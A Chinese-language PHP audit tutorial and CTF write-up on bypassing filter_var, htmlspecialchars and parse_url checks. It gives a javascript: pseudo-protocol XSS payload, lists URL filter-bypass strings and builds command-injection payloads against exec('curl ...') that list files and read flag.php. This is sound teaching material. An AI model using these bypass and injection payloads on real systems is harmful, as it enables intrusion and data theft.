函数学习
htmlspecialchars :(PHP 4, PHP 5, PHP 7)
功能 :将特殊字符转换为 HTML 实体
定义 :string htmlspecialchars ( string $string
[, int $flags
= ENT_COMPAT | ENT_HTML401 [, string$encoding
= ini_get(“default_charset”) [, bool $double_encode
= TRUE ]]] )
1 2 3 4 5
| & (& 符号) =============== & " (双引号) =============== " ' (单引号) =============== ' < (小于号) =============== < > (大于号) =============== >
|
filter_var : (PHP 5 >= 5.2.0, PHP 7)
功能: 使用特定的过滤器过滤一个变量
定义: mixed filter_var ( mixed $variable
[, int $filter
= FILTER_DEFAULT [, mixed $options
]] )
Demo学习
1 2 3 4 5 6 7 8
| <?php $url = filter_var($_GET['url'], FILTER_VALIDATE_URL); var_dump($url); $url = htmlspecialchars($url); var_dump($url); echo "<a href='$url'>Next Slide >> </a>";
?>
|
针对这两处过滤,可以使用JavaScript伪协议来绕过
1 2
| Payload: ?url=javascript://test%250aalert(1)
|
//
在Javascript中表示单行注释,后面的内容就会被过滤掉。但我们使用了%0a
即换行符,将后面alert(1)
要执行的弹框语句换行到了下一行,从而绕过注释限制实现弹框。
而这里的%250a
是经过了两次URL编码处理,在我们发送给浏览器的过程中,它会自动进行一次URL编码后存储在$url
变量中,所以将%
编码为 %25
。现在当用户点击链接后就会触发alert(1)
函数。
案例学习
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php $url = $_GET['url']; if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){ $site_info = parse_url($url); if(preg_match('/sec-redclub.com$/',$site_info['host'])){ exec('curl "'.$site_info['host'].'"', $result); echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center> <center><textarea rows='20' cols='90'>"; echo implode(' ', $result); } else{ die("<center><h1>Error: Host not allowed</h1></center>"); }
} else{ echo "<center><h1>Just curl sec-redclub.com!</h1></center><br> <center><h3>For example:?url=http://sec-redclub.com</h3></center>"; }
?>
|
1 2 3 4
| <?php $flag = "HRCTF{f1lt3r_var_1s_s0_c00l}" ?>
|
环境
- Windows10
- php 5.6.27 + Apache
- phpstudy
分析
简单分析一下代码,绕过限制命令执行读取flag值。需要先绕过filter_var()
和parse_url
函数的限制,然后在preg_match()
判断是否以sec-redclub.com
结尾,然后再通过exec()
函数执行命令。
为方便将代码拆分为两部分分别来绕
- 绕过限制
- 命令执行
绕过限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php $url = $_GET['url']; if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)) { print_r(parse_url($url)); $site_info = parse_url($url); if(preg_match('/sec-redclub.com$/',$site_info['host'])){ echo "<br>"; echo $site_info['host']; } else{ echo "不符合prge_match规则<br>"; echo "$site_info"; } } else { echo "<h1>error</h1>"; } ?>
|
首先来绕过filter_var()
函数中的FILTER_VALIDATE_URL
过滤器
1 2 3 4 5 6 7 8 9
| # 这里是部分可绕过限制的payload
http://127.0.0.1/index.php?url=http://demo.com@sec-redclub.com http://127.0.0.1/index.php?url=http://demo.com&sec-redclub.com http://127.0.0.1/index.php?url=http://demo.com?sec-redclub.com http://127.0.0.1/index.php?url=http://demo.com/sec-redclub.com http://127.0.0.1/index.php?url=demo://demo.com,sec-redclub.com http://127.0.0.1/index.php?url=demo://demo.com:80;sec-redclub.com:80/ http://127.0.0.1/index.php?url=http://demo.com%23sec-redclub.com
|
接下来绕过parse_url()
函数,并且要满足$site_info['host']
的值以sec-redclub.com
结尾
1 2
| Payload: http://127.0.0.1/index.php?url=demo://demo.com,sec-redclub.com
|
命令执行
1 2 3 4 5 6 7 8 9 10 11
| <?php
$cmd = $_GET['cmd'];
exec('curl "'.$cmd.'"', $result);
echo "<h1>You have exec {$cmd} successfully!</h1>"; echo 'curl "'.$cmd.'"';
echo implode(' ', $result); ?>
|
在Linux环境中,可通过; &&
等符号进行命令拼接
当前在Windows
环境中,可通过& |
等符号进行命令拼接
1 2 3 4
| commandA | commandB # 不管A成功还是失败,两着都会执行,但只输出B的结果 commandA || commandB # 先执行命令A,如果失败则再执行命令B commandA & commandB # 先输出命令A,然后输出命令B commandA && commandB # 如果命令A没有执行成功,就不会执行命令B
|
但是命令和参数不加空格无法执行命令,回到代码中进行测试
后经过测试,发现可以用=
来代替空格
1
| Payload:?cmd=%22%7Cchdir%3D
|
读取flag
测试后两处限制都已经绕过,回到原题组合命令来读取flag值
1 2 3
| Payload: ?url=demo://"|dir=,||sec-redclub.com # 列目录 ?url=demo://"|type=flag.php,||sec-redclub.com # 查看flag
|